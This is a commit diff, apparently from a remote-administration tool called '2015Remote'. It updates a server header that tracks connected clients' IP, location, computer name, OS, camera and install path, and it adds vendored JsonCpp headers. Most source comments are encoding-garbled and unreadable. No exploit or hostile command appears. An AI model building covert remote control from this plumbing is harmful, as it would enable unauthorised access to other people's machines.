<Image Include="res\proxifler.ico" />
<Image Include="res\proxy.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" />

View File

@@ -1,8 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
@@ -11,12 +8,12 @@
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

View File

@@ -4,6 +4,9 @@
#pragma comment(lib,"ws2_32.lib")
#include "CpuUseage.h"
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "xxhash.h"
#if USING_CTX
#include "zstd/zstd.h"
#endif
@@ -20,6 +23,25 @@
std::string GetRemoteIP(SOCKET sock);
enum
{
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, // <20><>ַ
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, // CPU
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
ONLINELIST_MAX,
};
// Encoder interface. The default encoder will do nothing.
class Encoder {
public:
@@ -172,7 +194,7 @@ enum IOType
typedef struct CONTEXT_OBJECT
{
CString sClientInfo[10];
CString sClientInfo[ONLINELIST_MAX];
SOCKET sClientSocket;
WSABUF wsaInBuf;
WSABUF wsaOutBuffer;
@@ -185,6 +207,9 @@ typedef struct CONTEXT_OBJECT
void *olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login
VOID InitMember()
@@ -196,12 +221,16 @@ typedef struct CONTEXT_OBJECT
memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD;
Parser.Reset();
bLogin = FALSE;
m_bProxyConnected = FALSE;
}
VOID SetClientInfo(CString s[10]){
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++)
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX]){
for (int i = 0; i < ONLINELIST_MAX; i++)
{
sClientInfo[i] = s[i];
}
@@ -252,6 +281,17 @@ typedef struct CONTEXT_OBJECT
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
}
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
uint64_t GetID() const { return ID; }
void SetID(uint64_t id) { ID = id; }
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
@@ -326,36 +366,52 @@ public:
IOCPServer(void);
~IOCPServer(void);
void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx){}
pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc;
};
typedef IOCPServer ISocketBase;
class CLock
{
public:
CLock(CRITICAL_SECTION& cs)
CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
{
m_cs = &cs;
Lock();
}
CLock() : m_cs(nullptr)
{
InitializeCriticalSection(&i_cs);
}
~CLock()
{
Unlock();
m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
}
void Unlock()
{
LeaveCriticalSection(m_cs);
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
}
void Lock()
{
EnterCriticalSection(m_cs);
EnterCriticalSection(m_cs ? m_cs : &i_cs);
}
void unlock()
{
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
}
void lock()
{
EnterCriticalSection(m_cs ? m_cs : &i_cs);
}
protected:
CRITICAL_SECTION* m_cs;
CRITICAL_SECTION* m_cs; // <20>ⲿ<EFBFBD><E2B2BF>
CRITICAL_SECTION i_cs; // <20>ڲ<EFBFBD><DAB2><EFBFBD>
};
#define TRACK_OVERLAPPEDPLUS 0

View File

@@ -0,0 +1,91 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ALLOCATOR_H_INCLUDED
#define JSON_ALLOCATOR_H_INCLUDED
#include <cstring>
#include <memory>
#pragma pack(push)
#pragma pack()
namespace Json {
template <typename T> class SecureAllocator {
public:
// Type definitions
using value_type = T;
using pointer = T*;
using const_pointer = const T*;
using reference = T&;
using const_reference = const T&;
using size_type = std::size_t;
using difference_type = std::ptrdiff_t;
/**
* Allocate memory for N items using the standard allocator.
*/
pointer allocate(size_type n) {
// allocate using "global operator new"
return static_cast<pointer>(::operator new(n * sizeof(T)));
}
/**
* Release memory which was allocated for N items at pointer P.
*
* The memory block is filled with zeroes before being released.
*/
void deallocate(pointer p, size_type n) {
// memset_s is used because memset may be optimized away by the compiler
memset_s(p, n * sizeof(T), 0, n * sizeof(T));
// free using "global operator delete"
::operator delete(p);
}
/**
* Construct an item in-place at pointer P.
*/
template <typename... Args> void construct(pointer p, Args&&... args) {
// construct using "placement new" and "perfect forwarding"
::new (static_cast<void*>(p)) T(std::forward<Args>(args)...);
}
size_type max_size() const { return size_t(-1) / sizeof(T); }
pointer address(reference x) const { return std::addressof(x); }
const_pointer address(const_reference x) const { return std::addressof(x); }
/**
* Destroy an item in-place at pointer P.
*/
void destroy(pointer p) {
// destroy using "explicit destructor"
p->~T();
}
// Boilerplate
SecureAllocator() {}
template <typename U> SecureAllocator(const SecureAllocator<U>&) {}
template <typename U> struct rebind {
using other = SecureAllocator<U>;
};
};
template <typename T, typename U>
bool operator==(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return true;
}
template <typename T, typename U>
bool operator!=(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return false;
}
} // namespace Json
#pragma pack(pop)
#endif // JSON_ALLOCATOR_H_INCLUDED

View File

@@ -0,0 +1,61 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ASSERTIONS_H_INCLUDED
#define JSON_ASSERTIONS_H_INCLUDED
#include <cstdlib>
#include <sstream>
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
/** It should not be possible for a maliciously designed file to
* cause an abort() or seg-fault, so these macros are used only
* for pre-condition violations and internal logic errors.
*/
#if JSON_USE_EXCEPTION
// @todo <= add detail about condition in exception
#define JSON_ASSERT(condition) \
do { \
if (!(condition)) { \
Json::throwLogicError("assert json failed"); \
} \
} while (0)
#define JSON_FAIL_MESSAGE(message) \
do { \
OStringStream oss; \
oss << message; \
Json::throwLogicError(oss.str()); \
abort(); \
} while (0)
#else // JSON_USE_EXCEPTION
#define JSON_ASSERT(condition) assert(condition)
// The call to assert() will show the failure message in debug builds. In
// release builds we abort, for a core-dump or debugger.
#define JSON_FAIL_MESSAGE(message) \
{ \
OStringStream oss; \
oss << message; \
assert(false && oss.str().c_str()); \
abort(); \
}
#endif
#define JSON_ASSERT_MESSAGE(condition, message) \
do { \
if (!(condition)) { \
JSON_FAIL_MESSAGE(message); \
} \
} while (0)
#endif // JSON_ASSERTIONS_H_INCLUDED

View File

@@ -0,0 +1,150 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_CONFIG_H_INCLUDED
#define JSON_CONFIG_H_INCLUDED
#include <cstddef>
#include <cstdint>
#include <istream>
#include <memory>
#include <ostream>
#include <sstream>
#include <string>
#include <type_traits>
// If non-zero, the library uses exceptions to report bad input instead of C
// assertion macros. The default is to use exceptions.
#ifndef JSON_USE_EXCEPTION
#define JSON_USE_EXCEPTION 1
#endif
// Temporary, tracked for removal with issue #982.
#ifndef JSON_USE_NULLREF
#define JSON_USE_NULLREF 1
#endif
/// If defined, indicates that the source file is amalgamated
/// to prevent private header inclusion.
/// Remarks: it is automatically defined in the generated amalgamated header.
// #define JSON_IS_AMALGAMATION
// Export macros for DLL visibility
#if defined(JSON_DLL_BUILD)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllexport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#elif defined(__GNUC__) || defined(__clang__)
#define JSON_API __attribute__((visibility("default")))
#endif // if defined(_MSC_VER)
#elif defined(JSON_DLL)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllimport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#endif // if defined(_MSC_VER)
#endif // ifdef JSON_DLL_BUILD
#if !defined(JSON_API)
#define JSON_API
#endif
#if defined(_MSC_VER) && _MSC_VER < 1800
#error \
"ERROR: Visual Studio 12 (2013) with _MSC_VER=1800 is the oldest supported compiler with sufficient C++11 capabilities"
#endif
#if defined(_MSC_VER) && _MSC_VER < 1900
// As recommended at
// https://stackoverflow.com/questions/2915672/snprintf-and-visual-studio-2010
extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size,
const char* format, ...);
#define jsoncpp_snprintf msvc_pre1900_c99_snprintf
#else
#define jsoncpp_snprintf std::snprintf
#endif
// If JSON_NO_INT64 is defined, then Json only support C++ "int" type for
// integer
// Storages, and 64 bits integer support is disabled.
// #define JSON_NO_INT64 1
// JSONCPP_OVERRIDE is maintained for backwards compatibility of external tools.
// C++11 should be used directly in JSONCPP.
#define JSONCPP_OVERRIDE override
#ifdef __clang__
#if __has_extension(attribute_deprecated_with_message)
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#endif
#elif defined(__GNUC__) // not clang (gcc comes later since clang emulates gcc)
#if (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5))
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#elif (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1))
#define JSONCPP_DEPRECATED(message) __attribute__((__deprecated__))
#endif // GNUC version
#elif defined(_MSC_VER) // MSVC (after clang because clang on Windows emulates
// MSVC)
#define JSONCPP_DEPRECATED(message) __declspec(deprecated(message))
#endif // __clang__ || __GNUC__ || _MSC_VER
#if !defined(JSONCPP_DEPRECATED)
#define JSONCPP_DEPRECATED(message)
#endif // if !defined(JSONCPP_DEPRECATED)
#if defined(__clang__) || (defined(__GNUC__) && (__GNUC__ >= 6))
#define JSON_USE_INT64_DOUBLE_CONVERSION 1
#endif
#if !defined(JSON_IS_AMALGAMATION)
#include "allocator.h"
#include "version.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
using Int = int;
using UInt = unsigned int;
#if defined(JSON_NO_INT64)
using LargestInt = int;
using LargestUInt = unsigned int;
#undef JSON_HAS_INT64
#else // if defined(JSON_NO_INT64)
// For Microsoft Visual use specific types as long long is not supported
#if defined(_MSC_VER) // Microsoft Visual Studio
using Int64 = __int64;
using UInt64 = unsigned __int64;
#else // if defined(_MSC_VER) // Other platforms, use long long
using Int64 = int64_t;
using UInt64 = uint64_t;
#endif // if defined(_MSC_VER)
using LargestInt = Int64;
using LargestUInt = UInt64;
#define JSON_HAS_INT64
#endif // if defined(JSON_NO_INT64)
template <typename T>
using Allocator =
typename std::conditional<JSONCPP_USING_SECURE_MEMORY, SecureAllocator<T>,
std::allocator<T>>::type;
using String = std::basic_string<char, std::char_traits<char>, Allocator<char>>;
using IStringStream =
std::basic_istringstream<String::value_type, String::traits_type,
String::allocator_type>;
using OStringStream =
std::basic_ostringstream<String::value_type, String::traits_type,
String::allocator_type>;
using IStream = std::istream;
using OStream = std::ostream;
} // namespace Json
// Legacy names (formerly macros).
using JSONCPP_STRING = Json::String;
using JSONCPP_ISTRINGSTREAM = Json::IStringStream;
using JSONCPP_OSTRINGSTREAM = Json::OStringStream;
using JSONCPP_ISTREAM = Json::IStream;
using JSONCPP_OSTREAM = Json::OStream;
#endif // JSON_CONFIG_H_INCLUDED

View File

@@ -0,0 +1,43 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FORWARDS_H_INCLUDED
#define JSON_FORWARDS_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
// writer.h
class StreamWriter;
class StreamWriterBuilder;
class Writer;
class FastWriter;
class StyledWriter;
class StyledStreamWriter;
// reader.h
class Reader;
class CharReader;
class CharReaderBuilder;
// json_features.h
class Features;
// value.h
using ArrayIndex = unsigned int;
class StaticString;
class Path;
class PathArgument;
class Value;
class ValueIteratorBase;
class ValueIterator;
class ValueConstIterator;
} // namespace Json
#endif // JSON_FORWARDS_H_INCLUDED

View File

@@ -0,0 +1,15 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_JSON_H_INCLUDED
#define JSON_JSON_H_INCLUDED
#include "config.h"
#include "json_features.h"
#include "reader.h"
#include "value.h"
#include "writer.h"
#endif // JSON_JSON_H_INCLUDED

View File

@@ -0,0 +1,62 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FEATURES_H_INCLUDED
#define JSON_FEATURES_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Configuration passed to reader and writer.
* This configuration object can be used to force the Reader or Writer
* to behave in a standard conforming way.
*/
class JSON_API Features {
public:
/** \brief A configuration that allows all features and assumes all strings
* are UTF-8.
* - C & C++ comments are allowed
* - Root object can be any JSON value
* - Assumes Value strings are encoded in UTF-8
*/
static Features all();
/** \brief A configuration that is strictly compatible with the JSON
* specification.
* - Comments are forbidden.
* - Root object must be either an array or an object value.
* - Assumes Value strings are encoded in UTF-8
*/
static Features strictMode();
/** \brief Initialize the configuration like JsonConfig::allFeatures;
*/
Features();
/// \c true if comments are allowed. Default: \c true.
bool allowComments_{true};
/// \c true if root must be either an array or an object value. Default: \c
/// false.
bool strictRoot_{false};
/// \c true if dropped null placeholders are allowed. Default: \c false.
bool allowDroppedNullPlaceholders_{false};
/// \c true if numeric object key are allowed. Default: \c false.
bool allowNumericKeys_{false};
};
} // namespace Json
#pragma pack(pop)
#endif // JSON_FEATURES_H_INCLUDED

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,437 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_READER_H_INCLUDED
#define JSON_READER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "json_features.h"
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <deque>
#include <iosfwd>
#include <istream>
#include <stack>
#include <string>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Unserialize a <a HREF="http://www.json.org">JSON</a> document into a
* Value.
*
* \deprecated Use CharReader and CharReaderBuilder.
*/
class JSON_API Reader {
public:
using Char = char;
using Location = const Char*;
/** \brief An error tagged with where in the JSON text it was encountered.
*
* The offsets give the [start, limit) range of bytes within the text. Note
* that this is bytes, not codepoints.
*/
struct StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
/** \brief Constructs a Reader allowing all features for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader();
/** \brief Constructs a Reader allowing the specified feature set for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader(const Features& features);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param document UTF-8 encoded string containing the document
* to read.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const std::string& document, Value& root,
bool collectComments = true);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded
* string of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string
* of the document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const char* beginDoc, const char* endDoc, Value& root,
bool collectComments = true);
/// \brief Parse from input stream.
/// \see Json::operator>>(std::istream&, Json::Value&).
bool parse(IStream& is, Value& root, bool collectComments = true);
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
* \deprecated Use getFormattedErrorMessages() instead (typo fix).
*/
JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.")
String getFormatedErrorMessages() const;
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
*/
String getFormattedErrorMessages() const;
/** \brief Returns a vector of structured errors encountered while parsing.
*
* \return A (possibly empty) vector of StructuredError objects. Currently
* only one error can be returned, but the caller should tolerate multiple
* errors. This can occur if the parser recovers from a non-fatal parse
* error and then encounters additional errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
/** \brief Add a semantic error message.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \return \c true if the error was successfully added, \c false if the Value
* offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message);
/** \brief Add a semantic error message with extra context.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \param extra Additional JSON Value location to contextualize the error
* \return \c true if the error was successfully added, \c false if either
* Value offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message, const Value& extra);
/** \brief Return whether there are any errors.
*
* \return \c true if there are no errors to report \c false if errors have
* occurred.
*/
bool good() const;
private:
enum TokenType {
tokenEndOfStream = 0,
tokenObjectBegin,
tokenObjectEnd,
tokenArrayBegin,
tokenArrayEnd,
tokenString,
tokenNumber,
tokenTrue,
tokenFalse,
tokenNull,
tokenArraySeparator,
tokenMemberSeparator,
tokenComment,
tokenError
};
class Token {
public:
TokenType type_;
Location start_;
Location end_;
};
class ErrorInfo {
public:
Token token_;
String message_;
Location extra_;
};
using Errors = std::deque<ErrorInfo>;
bool readToken(Token& token);
bool readTokenSkippingComments(Token& token);
void skipSpaces();
bool match(const Char* pattern, int patternLength);
bool readComment();
bool readCStyleComment();
bool readCppStyleComment();
bool readString();
void readNumber();
bool readValue();
bool readObject(Token& token);
bool readArray(Token& token);
bool decodeNumber(Token& token);
bool decodeNumber(Token& token, Value& decoded);
bool decodeString(Token& token);
bool decodeString(Token& token, String& decoded);
bool decodeDouble(Token& token);
bool decodeDouble(Token& token, Value& decoded);
bool decodeUnicodeCodePoint(Token& token, Location& current, Location end,
unsigned int& unicode);
bool decodeUnicodeEscapeSequence(Token& token, Location& current,
Location end, unsigned int& unicode);
bool addError(const String& message, Token& token, Location extra = nullptr);
bool recoverFromError(TokenType skipUntilToken);
bool addErrorAndRecover(const String& message, Token& token,
TokenType skipUntilToken);
void skipUntilSpace();
Value& currentValue();
Char getNextChar();
void getLocationLineAndColumn(Location location, int& line,
int& column) const;
String getLocationLineAndColumn(Location location) const;
void addComment(Location begin, Location end, CommentPlacement placement);
static bool containsNewLine(Location begin, Location end);
static String normalizeEOL(Location begin, Location end);
using Nodes = std::stack<Value*>;
Nodes nodes_;
Errors errors_;
String document_;
Location begin_{};
Location end_{};
Location current_{};
Location lastValueEnd_{};
Value* lastValue_{};
String commentsBefore_;
Features features_;
bool collectComments_{};
}; // Reader
/** Interface for reading JSON from a char array.
*/
class JSON_API CharReader {
public:
struct JSON_API StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
virtual ~CharReader() = default;
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document. The document must be a UTF-8 encoded string containing the
* document to read.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded string
* of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string of the
* document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it was
* successfully parsed.
* \param[out] errs Formatted error messages (if not NULL) a user
* friendly string that lists errors in the parsed
* document.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs);
/** \brief Returns a vector of structured errors encountered while parsing.
* Each parse call resets the stored list of errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
class JSON_API Factory {
public:
virtual ~Factory() = default;
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual CharReader* newCharReader() const = 0;
}; // Factory
protected:
class Impl {
public:
virtual ~Impl() = default;
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs) = 0;
virtual std::vector<StructuredError> getStructuredErrors() const = 0;
};
explicit CharReader(std::unique_ptr<Impl> impl) : _impl(std::move(impl)) {}
private:
std::unique_ptr<Impl> _impl;
}; // CharReader
/** \brief Build a CharReader implementation.
*
* Usage:
* \code
* using namespace Json;
* CharReaderBuilder builder;
* builder["collectComments"] = false;
* Value value;
* String errs;
* bool ok = parseFromStream(builder, std::cin, &value, &errs);
* \endcode
*/
class JSON_API CharReaderBuilder : public CharReader::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* These are case-sensitive.
* Available settings (case-sensitive):
* - `"collectComments": false or true`
* - true to collect comment and allow writing them back during
* serialization, false to discard comments. This parameter is ignored
* if allowComments is false.
* - `"allowComments": false or true`
* - true if comments are allowed.
* - `"allowTrailingCommas": false or true`
* - true if trailing commas in objects and arrays are allowed.
* - `"strictRoot": false or true`
* - true if root must be either an array or an object value
* - `"allowDroppedNullPlaceholders": false or true`
* - true if dropped null placeholders are allowed. (See
* StreamWriterBuilder.)
* - `"allowNumericKeys": false or true`
* - true if numeric object keys are allowed.
* - `"allowSingleQuotes": false or true`
* - true if '' are allowed for strings (both keys and values)
* - `"stackLimit": integer`
* - Exceeding stackLimit (recursive depth of `readValue()`) will cause an
* exception.
* - This is a security issue (seg-faults caused by deeply nested JSON), so
* the default is low.
* - `"failIfExtra": false or true`
* - If true, `parse()` returns false when extra non-whitespace trails the
* JSON value in the input string.
* - `"rejectDupKeys": false or true`
* - If true, `parse()` returns false when a key is duplicated within an
* object.
* - `"allowSpecialFloats": false or true`
* - If true, special float values (NaNs and infinities) are allowed and
* their values are lossfree restorable.
* - `"skipBom": false or true`
* - If true, if the input starts with the Unicode byte order mark (BOM),
* it is skipped.
*
* You can examine 'settings_` yourself to see the defaults. You can also
* write and read them just like any JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
CharReaderBuilder();
~CharReaderBuilder() override;
CharReader* newCharReader() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
/** Same as old Features::strictMode().
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode
*/
static void strictMode(Json::Value* settings);
/** ECMA-404 mode.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode
*/
static void ecma404Mode(Json::Value* settings);
};
/** Consume entire stream and use its begin/end.
* Someday we might have a real StreamReader, but for now this
* is convenient.
*/
bool JSON_API parseFromStream(CharReader::Factory const&, IStream&, Value* root,
String* errs);
/** \brief Read from 'sin' into 'root'.
*
* Always keep comments from the input JSON.
*
* This can be used to read a file into a particular sub-object.
* For example:
* \code
* Json::Value root;
* cin >> root["dir"]["file"];
* cout << root;
* \endcode
* Result:
* \verbatim
* {
* "dir": {
* "file": {
* // The input stream JSON would be nested here.
* }
* }
* }
* \endverbatim
* \throw std::exception on parse error.
* \see Json::operator<<()
*/
JSON_API IStream& operator>>(IStream&, Value&);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_READER_H_INCLUDED

View File

@@ -0,0 +1,967 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_VALUE_H_INCLUDED
#define JSON_VALUE_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
// Conditional NORETURN attribute on the throw functions would:
// a) suppress false positives from static code analysis
// b) possibly improve optimization opportunities.
#if !defined(JSONCPP_NORETURN)
#if defined(_MSC_VER) && _MSC_VER == 1800
#define JSONCPP_NORETURN __declspec(noreturn)
#else
#define JSONCPP_NORETURN [[noreturn]]
#endif
#endif
// Support for '= delete' with template declarations was a late addition
// to the c++11 standard and is rejected by clang 3.8 and Apple clang 8.2
// even though these declare themselves to be c++11 compilers.
